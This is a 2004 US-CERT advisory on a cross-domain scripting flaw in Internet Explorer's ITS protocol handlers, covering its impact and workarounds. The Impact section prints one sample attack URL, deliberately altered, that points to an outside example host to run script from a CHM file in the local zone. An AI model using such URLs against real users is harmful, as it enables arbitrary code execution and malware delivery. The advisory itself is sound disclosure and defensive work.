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Vulnerability in Internet Explorer ITS Protocol Handler

   Original release date: April 8, 2004
   Last revised: --
   Source: US-CERT

Systems Affected

     * Microsoft Windows systems running Internet Explorer

Overview

   A cross-domain scripting vulnerability in Microsoft Internet Explorer
   (IE) could allow an attacker to execute arbitrary code with the
   privileges of the user running IE. The attacker could also read and
   manipulate data on web sites in other domains or zones.

I. Description

   There is a cross-domain scripting vulnerability in the way ITS
   protocol handlers determine the security domain of an HTML component
   stored in a Compiled HTML Help (CHM) file. The HTML Help system
   "...uses the underlying components of Microsoft Internet Explorer to
   display help content. It supports HTML, ActiveX, Java, [and] scripting
   languages (JScript, and Microsoft Visual Basic Scripting Edition)."
   CHM files use the InfoTech Storage (ITS) format to store components
   such as HTML files, graphic files, and ActiveX objects. IE provides
   several protocol handlers that can access ITS files and individual CHM
   components: its:, ms-its:, ms-itss:, and mk:@MSITStore:. IE also has
   the ability to access parts of MIME Encapsulation of Aggregate HTML
   Documents (MHTML) using the mhtml: protocol handler.

   When IE references an inaccessible or non-existent MHTML file using
   the ITS and mhtml: protocols, the ITS protocol handlers can access a
   CHM file from an alternate source. IE incorrectly treats the CHM file
   as if it were in the same domain as the unavailable MHTML file. Using
   a specially crafted URL, an attacker can cause arbitrary script in a
   CHM file to be executed in a different domain, violating the
   cross-domain security model.

   Any programs that use the WebBrowser ActiveX control or the IE HTML
   rendering engine (MSHTML) may be affected by this vulnerability.
   Internet Explorer, Outlook, and Outlook Express are all examples of
   such programs. Any programs, including other web browsers, that use
   the IE protocol handlers (URL monikers) could function as attack
   vectors. Also, due to the way that IE determines MIME types, HTML and
   CHM files may not have the expected file name extensions (.htm/.html
   and .chm respectively).

   NOTE: Using an alternate web browser may not mitigate this
   vulnerability. It may be possible for a web browser other than IE on a
   Windows system to invoke IE to handle ITS protocol URLs.

   US-CERT is tracking this issue as VU#323070. This reference number
   corresponds to CVE candidate CAN-2004-0380.

II. Impact

   By convincing a victim to view an HTML document such as a web page or
   HTML email message, an attacker could execute script in a different
   security domain than the one containing the attacker's document. By
   causing script to be run in the Local Machine Zone, the attacker could
   execute arbitrary code with the privileges of the user running IE. The
   attacker could also read or modify data in other web sites (including
   reading cookies or content and modifying or creating content).

   Publicly available exploit code exists for this vulnerability. US-CERT
   has monitored incident reports that indicate that this vulnerability
   is being exploited. The Ibiza trojan, variants of W32/Bugbear, and
   BloodHound.Exploit.6 are some example of malicious code that exploit
   this vulnerability. It is important to note that any arbitrary
   executable payload could be delivered via this vulnerability, and
   different anti-virus vendors may identify malicious code with
   different names.

   A malicious web site or email message may contain HTML similar to the
   following:

     ms-_its:mhtml:file://C:\nosuchfile_mht!http://www.example.com//expl
     oit_chm::exploit_html

     (This URL is intentionally modified to avoid detection by
     anti-virus software.)

   In this example, HTML and script in exploit.html will be executed in
   the security context of the Local Machine Zone. It is common practice
   for exploit.html to either contain or download an executable payload
   such as a backdoor, trojan horse, virus, bot, or other malicious code.

   Note that it is possible to encode a URL in an attempt to bypass HTTP
   content inspection or anti-virus software.

III. Solution

   Currently, there is no complete solution for this vulnerability. Until
   a patch is available, consider the workarounds listed below.
   Disable ITS protocol handlers

   Disabling ITS protocol handlers appears to prevent exploitation of
   this vulnerability. Delete or rename the following registry keys:

     HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PROTOCOLS\Handler\{ms-its,ms-it
     ss,its,mk}

   Disabling these protocol handlers will significantly reduce the
   functionality of the Windows Help system and may have other unintended
   consequences. Plan to undo these changes after patches have been
   tested and installed. Follow good Internet security practices

   These recommended security practices will help to reduce exposure to
   attacks and mitigate the impact of cross-domain vulnerabilities.

     * Disable Active scripting and ActiveX controls

       NOTE: Disabling Active scripting and ActiveX controls will not
       prevent the exploitation of this vulnerability.

       Disabling Active scripting and ActiveX controls in the Internet
       and Local Machine Zones may stop certain types of attacks and will
       prevent exploitation of different cross-domain vulnerabilities.

       Disable Active scripting and ActiveX controls in any zones used to
       read HTML email.

       Disabling Active scripting and ActiveX controls in the Local
       Machine Zone will prevent malicious code that requires Active
       scripting and ActiveX controls from running. Changing these
       settings may reduce the functionality of scripts, applets, Windows
       components, or other applications. See Microsoft Knowledge Base
       Article 833633 for detailed information about security settings
       for the Local Machine Zone. Note that Service Pack 2 for Windows
       XP includes these changes.

     * Do not follow unsolicited links

       Do not click on unsolicited URLs received in email, instant
       messages, web forums, or Internet relay chat (IRC) channels.

     * Maintain updated anti-virus software

       Anti-virus software with updated virus definitions may identify
       and prevent some exploit attempts. Variations of exploits or
       attack vectors may not be detected. Do not rely solely on
       anti-virus software to defend against this vulnerability. More
       information about viruses and anti-virus vendors is available on
       the US-CERT Computer Virus Resources page.

Appendix B. References

     * Vulnerability Note VU#323070 -
       <http://www.kb.cert.org/vuls/id/323070>

     * US-CERT Computer Virus Resources -
       <http://www.us-cert.gov/other_sources/viruses.html>

     * CVE CAN-2004-0380 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0380>

     * Introduction to URL Security Zones -
       <http://msdn.microsoft.com/workshop/security/szone/overview/overvi
       ew.asp>

     * About Cross-Frame Scripting and Security -
       <http://msdn.microsoft.com/workshop/author/om/xframe_scripting_sec
       urity.asp>

     * MIME Type Determination in Internet Explorer -
       <http://msdn.microsoft.com/workshop/networking/moniker/overview/ap
       pendix_a.asp>

     * URL Monikers -
       <http://msdn.microsoft.com/workshop/networking/moniker/monikers.as
       p>

     * Asynchronous Pluggable Protocols -
       <http://msdn.microsoft.com/workshop/networking/pluggable/pluggable
       .asp>

     * Microsoft HTML Help 1.4 SDK -
       <http://msdn.microsoft.com/library/en-us/htmlhelp/html/vsconHH1Sta
       rt.asp>

     * Microsoft Knowledge Base Article 182569 -
       <http://support.microsoft.com/default.aspx?scid=182569>

     * Microsoft Knowledge Base Article 174360 -
       <http://support.microsoft.com/default.aspx?scid=174360>

     * Microsoft Knowledge Base Article 833633 -
       <http://support.microsoft.com/default.aspx?scid=833633>

     * Windows XP Service Pack 2 Technical Preview -
       <http://www.microsoft.com/technet/prodtechnol/winxppro/sp2preview.
       mspx >

     * AusCERT Update AU-2004.007 - <http://www.auscert.org.au/3990>
     _________________________________________________________________

   This vulnerability was reported by Thor Larholm.
     _________________________________________________________________

   Feedback can be directed to the author: Art Manion.
     _________________________________________________________________

   Copyright 2004 Carnegie Mellon University.

   Terms of use:

   <http://www.us-cert.gov/legal.html>

   Revision History

   April 8, 2004: Initial release
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